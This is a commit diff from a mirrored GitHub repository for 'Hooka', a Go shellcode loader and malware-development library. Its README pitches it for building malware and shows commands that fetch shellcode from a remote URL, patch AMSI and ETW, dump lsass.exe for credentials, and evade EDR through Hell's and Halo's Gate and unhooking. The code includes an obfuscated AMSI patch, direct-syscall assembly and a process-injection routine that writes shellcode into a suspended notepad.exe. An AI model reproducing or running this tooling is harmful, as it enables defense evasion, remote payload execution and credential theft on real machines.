mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
halo's gate, uuidfromstring injection, more CLI flags and more
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
<p align="center">
|
||||
<img src="assets/gopher.png" width="130" heigth="60" alt="Gopher"/>
|
||||
<h1 align="center">Hooka</h1>
|
||||
<p align="center">~ Shellcode injector, hooks detector and more written in Golang ~</p>
|
||||
<p align="center">~ Shellcode loader, hooks detector and more written in Golang ~</p>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
@@ -15,18 +15,18 @@
|
||||
|
||||
# Introduction
|
||||
|
||||
I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful.
|
||||
I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want.
|
||||
|
||||
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
|
||||
|
||||
# Features
|
||||
|
||||
- Inject shellcode from remote URL or local file
|
||||
- Get shellcode from remote URL or local file
|
||||
- Shellcode reflective DLL injection (***sRDI***)
|
||||
- ***AMSI*** and ***ETW*** patch
|
||||
- Detects hooked functions (i.e. NtCreateThread)
|
||||
- Compatible with base64 and hex encoded shellcode
|
||||
- Hell's Gate technique
|
||||
- Recycled Gate technique
|
||||
- Capable of unhooking functions via multiple techniques:
|
||||
- Classic unhooking
|
||||
- Full DLL unhooking
|
||||
@@ -37,6 +37,7 @@ However I've also taken some code from [BananaPhone](https://github.com/C-Sto/Ba
|
||||
- Fibers
|
||||
- OpenProcess
|
||||
- EarlyBirdAPC
|
||||
- UuidFromString
|
||||
|
||||
- Dump lsass.exe process to a file
|
||||
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
|
||||
@@ -64,35 +65,6 @@ git clone https://github.com/D3Ext/Hooka
|
||||
|
||||
> Help panel
|
||||
```
|
||||
_ _ _ _
|
||||
| | | | ___ ___ | | __ __ _ | |
|
||||
| |_| | / _ \ / _ \ | |/ / / _` | | |
|
||||
| _ | | (_) | | (_) | | < | (_| | |_|
|
||||
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
|
||||
by D3Ext - v0.1
|
||||
|
||||
-b64
|
||||
decode base64 encoded shellcode
|
||||
-dll string
|
||||
path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
|
||||
-file string
|
||||
path to file where shellcode is stored
|
||||
-hells
|
||||
enable Hell's Gate technique to try to evade possible EDRs
|
||||
-hex
|
||||
decode hex encoded shellcode
|
||||
-hooks
|
||||
dinamically detect hooked functions by EDR
|
||||
-lsass string
|
||||
dump lsass.exe process memory into a file to extract credentials (run as admin)
|
||||
-t string
|
||||
shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)
|
||||
-test
|
||||
test shellcode injection capabilities by spawning a calc.exe
|
||||
-unhook int
|
||||
overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
|
||||
-url string
|
||||
remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)
|
||||
```
|
||||
|
||||
> Detect hooked functions by EDR (including false positives)
|
||||
@@ -105,16 +77,16 @@ git clone https://github.com/D3Ext/Hooka
|
||||
.\Hooka.exe --test
|
||||
```
|
||||
|
||||
If no technique is especified it will use a random one
|
||||
- If no technique is especified it will use a random one
|
||||
|
||||
> Inject shellcode from URL
|
||||
```sh
|
||||
.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
|
||||
```
|
||||
|
||||
> Inject shellcode from file
|
||||
```sh
|
||||
.\Hooka.exe -t Fibers --file shellcode.bin
|
||||
.\Hooka.exe --file shellcode.bin
|
||||
```
|
||||
|
||||
> Decode shellcode from hex
|
||||
@@ -127,14 +99,19 @@ If no technique is especified it will use a random one
|
||||
.\Hooka.exe --file shellcode.bin --b64
|
||||
```
|
||||
|
||||
> Inject shellcode using Hell's Gate
|
||||
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
|
||||
```
|
||||
|
||||
> Unhook function before injecting shellcode
|
||||
```sh
|
||||
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3
|
||||
.\Hooka.exe --file shellcode.bin --unhook 3
|
||||
```
|
||||
|
||||
> Patch AMSI
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --amsi
|
||||
```
|
||||
|
||||
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
|
||||
@@ -144,9 +121,12 @@ As you can see Hooka provides a lot of CLI flags to help you in all kind of situ
|
||||
> Detecting hooks
|
||||
<img src="assets/hooks.png">
|
||||
|
||||
> Injecting shellcode via NtCreateThread
|
||||
> Injecting shellcode via CreateRemoteThread technique
|
||||
<img src="assets/crt.png">
|
||||
|
||||
> Injecting shellcode using custom flags
|
||||
<img src="assets/custom.png">
|
||||
|
||||
> Test function
|
||||
<img src="assets/test.png">
|
||||
|
||||
@@ -161,11 +141,13 @@ As you can see Hooka provides a lot of CLI flags to help you in all kind of situ
|
||||
|
||||
:black_square_button: Better error handling
|
||||
|
||||
:black_square_button: Test unhooking functions against some EDR
|
||||
:black_square_button: Integrated Seatbelt.exe using CLR
|
||||
|
||||
:black_square_button: Test unhooking functions against EDRs
|
||||
|
||||
# Library
|
||||
|
||||
If you're looking to implement any function in your malware you can do it using the official package API:
|
||||
- If you're looking to implement any function in your malware you can do it using the official package API.
|
||||
|
||||
> First of all download the package
|
||||
```sh
|
||||
@@ -185,14 +167,14 @@ import (
|
||||
|
||||
func main(){
|
||||
// Returns all hooked functions
|
||||
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {}
|
||||
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println(hooks)
|
||||
|
||||
// Check if an especific function is hooked
|
||||
check, err := hooka.IsHooked("NtCreateThread") // func IsHooked(funcname string) (bool, error) {}
|
||||
check, err := hooka.IsHooked("NtCreateThread") // func IsHooked(funcname string) (bool, error)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -223,13 +205,19 @@ func main(){
|
||||
}
|
||||
|
||||
// Now use the procedure as loading it from dll
|
||||
proc.Call()
|
||||
r, err := hooka.Syscall(
|
||||
proc,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
)
|
||||
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
> Apply AMSI and ETW patch
|
||||
> Apply AMSI and/or ETW patch
|
||||
```go
|
||||
package main
|
||||
|
||||
@@ -242,7 +230,7 @@ import (
|
||||
|
||||
func main(){
|
||||
// Amsi bypass
|
||||
err := hooka.PatchAmsi(0) // Use 0 for own process
|
||||
err := hooka.PatchAmsi()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -257,6 +245,71 @@ func main(){
|
||||
}
|
||||
```
|
||||
|
||||
> Get syscall id with Hell's Gate + Halo's Gate
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
// Get syscall id of function, only ntdll.dll is supported
|
||||
sysId, err := hooka.GetSysId("NtCreateThread") // func GetSysId(funcname string) (uint16, error)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("Syscall ID:", sysId)
|
||||
|
||||
r, err := hooka.Syscall( // Execute syscall
|
||||
sysId, // especify func
|
||||
arg1, // pass neccesary arguments
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("Error code:", r)
|
||||
}
|
||||
```
|
||||
|
||||
> Use shellcode injection techniques
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
var calc_shellcode = []byte{}
|
||||
|
||||
func main(){
|
||||
err := hooka.Fibers(calc_shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Shellcode injected via Fibers")
|
||||
|
||||
err = hooka.CreateProcess(calc_shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Shellcode injected via CreateProcess")
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
> Unhook a function (3 ways)
|
||||
```go
|
||||
package main
|
||||
@@ -269,16 +322,19 @@ import (
|
||||
)
|
||||
|
||||
func main(){
|
||||
// Use classic technique which overwrites
|
||||
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
err = hooka.FullUnhook()
|
||||
// This technique loads original ntdll.dll from disk into memory to restore all functions
|
||||
err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// Use modern Perun's Fart technique which
|
||||
err = hooka.PerunsUnhook()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
@@ -300,13 +356,15 @@ See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
|
||||
https://github.com/C-Sto/BananaPhone
|
||||
https://github.com/timwhitez/Doge-Gabh
|
||||
https://github.com/Ne0nd0g/go-shellcode
|
||||
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
|
||||
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
|
||||
https://github.com/trickster0/TartarusGate
|
||||
https://github.com/Kara-4search/HookDetection_CSharp
|
||||
https://github.com/RedLectroid/APIunhooker
|
||||
https://github.com/plackyhacker/Peruns-Fart
|
||||
https://github.com/chvancooten/maldev-for-dummies
|
||||
https://blog.sektor7.net/#!res/2021/perunsfart.md
|
||||
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
|
||||
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
|
||||
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
|
||||
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
|
||||
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
|
||||
```
|
||||
|
||||
@@ -16,7 +16,6 @@ import (
|
||||
bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
|
||||
)
|
||||
|
||||
|
||||
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
|
||||
|
||||
func PatchAmsi() (error) {
|
||||
@@ -93,65 +92,4 @@ func WriteBanana(module string, proc string, data *[]byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
/*func PatchAmsi(pid int) (error) {
|
||||
|
||||
amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
|
||||
amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer")
|
||||
amsiScanString := amsidll.NewProc("AmsiScanString")
|
||||
amsiInitialize := amsidll.NewProc("AmsiInitialize")
|
||||
openProcess := kernel32.NewProc("OpenProcess")
|
||||
closeHandle := kernel32.NewProc("CloseHandle")
|
||||
getCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
var handle uintptr
|
||||
var err error
|
||||
|
||||
if (pid == 0) {
|
||||
handle, _, _ = getCurrentProcess.Call()
|
||||
} else {
|
||||
handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid))
|
||||
}
|
||||
|
||||
addresses := []uintptr{
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
|
||||
var oldProtect uint32
|
||||
var old uint32
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
for _, addr := range addresses {
|
||||
|
||||
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if err != nil {
|
||||
fmt.Println("error virtualProtectEx")
|
||||
}
|
||||
|
||||
//writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
|
||||
r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
|
||||
if r1 == 0 {
|
||||
fmt.Println("error writeProcessMemory")
|
||||
}
|
||||
|
||||
//virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
|
||||
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
|
||||
if err != nil {
|
||||
fmt.Println("error virtualProtectEx")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
closeHandle.Call(handle)
|
||||
return nil
|
||||
}*/
|
||||
|
||||
|
||||
|
||||
+112
@@ -0,0 +1,112 @@
|
||||
//func GetNtdllStart() uintptr
|
||||
TEXT ·GetNtdllStart(SB), $0-16
|
||||
//All operations push values into AX
|
||||
//PEB
|
||||
MOVQ 0x60(GS), AX
|
||||
//PEB->LDR
|
||||
MOVQ 0x18(AX),AX
|
||||
|
||||
//LDR->InMemoryOrderModuleList
|
||||
MOVQ 0x20(AX),AX
|
||||
|
||||
//Flink (get next element)
|
||||
MOVQ (AX),AX
|
||||
|
||||
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
|
||||
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
|
||||
MOVQ 0x20(AX),CX
|
||||
MOVQ CX, start+0(FP)
|
||||
|
||||
MOVQ 0x30(AX),CX
|
||||
MOVQ CX, size+8(FP)
|
||||
|
||||
RET
|
||||
|
||||
//func getModuleLoadedOrder(i int) (start uintptr, size uintptr)
|
||||
TEXT ·getMLO(SB), $0-32
|
||||
//All operations push values into AX
|
||||
//PEB
|
||||
MOVQ 0x60(GS), AX
|
||||
//PEB->LDR
|
||||
MOVQ 0x18(AX),AX
|
||||
|
||||
//LDR->InMemoryOrderModuleList
|
||||
MOVQ 0x20(AX),AX
|
||||
|
||||
//loop things
|
||||
XORQ R10,R10
|
||||
startloop:
|
||||
CMPQ R10,i+0(FP)
|
||||
JE endloop
|
||||
//Flink (get next element)
|
||||
MOVQ (AX),AX
|
||||
INCQ R10
|
||||
JMP startloop
|
||||
endloop:
|
||||
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
|
||||
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
|
||||
MOVQ 0x20(AX),CX
|
||||
MOVQ CX, start+8(FP)
|
||||
|
||||
MOVQ 0x30(AX),CX
|
||||
MOVQ CX, size+16(FP)
|
||||
MOVQ AX,CX
|
||||
ADDQ $0x38,CX
|
||||
MOVQ CX, modulepath+24(FP)
|
||||
//SYSCALL
|
||||
RET
|
||||
|
||||
//based on https://golang.org/src/runtime/sys_windows_amd64.s
|
||||
#define maxargs 16
|
||||
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
|
||||
TEXT ·bpSyscall(SB), $0-56
|
||||
XORQ AX,AX
|
||||
MOVW callid+0(FP), AX
|
||||
PUSHQ CX
|
||||
//put variadic size into CX
|
||||
MOVQ argh_len+16(FP),CX
|
||||
//put variadic pointer into SI
|
||||
MOVQ argh_base+8(FP),SI
|
||||
// SetLastError(0).
|
||||
MOVQ 0x30(GS), DI
|
||||
MOVL $0, 0x68(DI)
|
||||
SUBQ $(maxargs*8), SP // room for args
|
||||
// Fast version, do not store args on the stack.
|
||||
CMPL CX, $4
|
||||
JLE loadregs
|
||||
// Check we have enough room for args.
|
||||
CMPL CX, $maxargs
|
||||
JLE 2(PC)
|
||||
INT $3 // not enough room -> crash
|
||||
// Copy args to the stack.
|
||||
MOVQ SP, DI
|
||||
CLD
|
||||
REP; MOVSQ
|
||||
MOVQ SP, SI
|
||||
loadregs:
|
||||
//move the stack pointer????? why????
|
||||
SUBQ $8, SP
|
||||
// Load first 4 args into correspondent registers.
|
||||
MOVQ 0(SI), CX
|
||||
MOVQ 8(SI), DX
|
||||
MOVQ 16(SI), R8
|
||||
MOVQ 24(SI), R9
|
||||
// Floating point arguments are passed in the XMM
|
||||
// registers. Set them here in case any of the arguments
|
||||
// are floating point values. For details see
|
||||
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
|
||||
MOVQ CX, X0
|
||||
MOVQ DX, X1
|
||||
MOVQ R8, X2
|
||||
MOVQ R9, X3
|
||||
//MOVW callid+0(FP), AX
|
||||
MOVQ CX, R10
|
||||
SYSCALL
|
||||
ADDQ $((maxargs+1)*8), SP
|
||||
// Return result.
|
||||
POPQ CX
|
||||
MOVL AX, errcode+32(FP)
|
||||
RET
|
||||
|
||||
|
||||
|
||||
+77
-7
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"time"
|
||||
"bytes"
|
||||
"unsafe"
|
||||
"strings"
|
||||
"net/http"
|
||||
"math/rand"
|
||||
@@ -19,8 +20,21 @@ import (
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
const ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
|
||||
const kernel32path = "C:\\Windows\\System32\\kernel32.dll"
|
||||
/*
|
||||
|
||||
This code has been taken and modified from BananaPhone project
|
||||
|
||||
*/
|
||||
|
||||
const (
|
||||
ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
|
||||
kernel32path = "C:\\Windows\\System32\\kernel32.dll"
|
||||
)
|
||||
|
||||
const (
|
||||
IDX = 32
|
||||
)
|
||||
|
||||
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
|
||||
|
||||
type MayBeHookedError struct { // Define custom error for hooked functions
|
||||
@@ -31,7 +45,7 @@ func (e MayBeHookedError) Error() string {
|
||||
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
|
||||
}
|
||||
|
||||
func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
|
||||
func rvaToOffset(pefile *pe.File, rva uint32) (uint32) {
|
||||
for _, hdr := range pefile.Sections {
|
||||
baseoffset := uint64(rva)
|
||||
if baseoffset > uint64(hdr.VirtualAddress) &&
|
||||
@@ -51,7 +65,6 @@ func CheckBytes(b []byte) (uint16, error) {
|
||||
}
|
||||
|
||||
// Generate a random integer between range
|
||||
|
||||
func RandomInt(max int, min int) (int) { // Return a random number between max and min
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
rand_int := rand.Intn(max - min + 1) + min
|
||||
@@ -107,10 +120,15 @@ func StrToSha1(str string) (string) {
|
||||
|
||||
/*
|
||||
|
||||
This code has been taken from BananaPhone and Doge-Gabh project
|
||||
This code has been taken and modified from Doge-Gabh project
|
||||
|
||||
*/
|
||||
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uintptr
|
||||
}
|
||||
|
||||
type sstring struct {
|
||||
Length uint16
|
||||
MaxLength uint16
|
||||
@@ -149,6 +167,40 @@ func inMemLoads(modulename string) (uintptr, uintptr) {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
func getExport(pModuleBase uintptr) []Export {
|
||||
var exports []Export
|
||||
var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase)
|
||||
//IMAGE_NT_SIGNATURE
|
||||
if pImageNtHeaders.Signature != 0x00004550 {
|
||||
return nil
|
||||
}
|
||||
var pImageExportDirectory *imageExportDir
|
||||
|
||||
pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress)))))
|
||||
|
||||
pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions)
|
||||
pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames)
|
||||
|
||||
pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals)
|
||||
|
||||
for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ {
|
||||
var export Export
|
||||
pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4)))
|
||||
pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4)))
|
||||
export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName)))
|
||||
export.VirtualAddress = uintptr(pFunctionAddress)
|
||||
exports = append(exports, export)
|
||||
}
|
||||
|
||||
return exports
|
||||
}
|
||||
|
||||
func memcpy(dst, src, size uintptr) {
|
||||
for i := uintptr(0); i < size; i++ {
|
||||
*(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i))
|
||||
}
|
||||
}
|
||||
|
||||
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
|
||||
|
||||
offset := 0
|
||||
@@ -202,8 +254,26 @@ func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
|
||||
}
|
||||
|
||||
//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
|
||||
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) {
|
||||
return
|
||||
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
|
||||
|
||||
func uint16Down(b []byte, idx uint16) uint16 {
|
||||
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return uint16(b[0]) - idx | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func uint16Up(b []byte, idx uint16) uint16 {
|
||||
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return uint16(b[0]) + idx | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func contains(slice []string, item string) bool {
|
||||
set := make(map[string]struct{}, len(slice))
|
||||
for _, s := range slice {
|
||||
set[s] = struct{}{}
|
||||
}
|
||||
|
||||
_, ok := set[item]
|
||||
return ok
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
package core
|
||||
|
||||
@@ -0,0 +1,525 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
syscall.StringToUTF16Ptr(""),
|
||||
nil,
|
||||
nil,
|
||||
true,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
startupInfo,
|
||||
procInfo,
|
||||
)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT | windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, _ := NtQueryInformationProcess.Call(
|
||||
uintptr(procInfo.Process),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&processInformation)),
|
||||
unsafe.Sizeof(processInformation),
|
||||
returnLength,
|
||||
)
|
||||
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
return errors.New("Error calling NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
processInformation.PebBaseAddress,
|
||||
uintptr(unsafe.Pointer(&peb)),
|
||||
unsafe.Sizeof(peb),
|
||||
uintptr(unsafe.Pointer(&readBytes)),
|
||||
)
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type _IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
var dosHeader _IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress,
|
||||
uintptr(unsafe.Pointer(&dosHeader)),
|
||||
unsafe.Sizeof(dosHeader),
|
||||
uintptr(unsafe.Pointer(&readBytes2)),
|
||||
)
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
|
||||
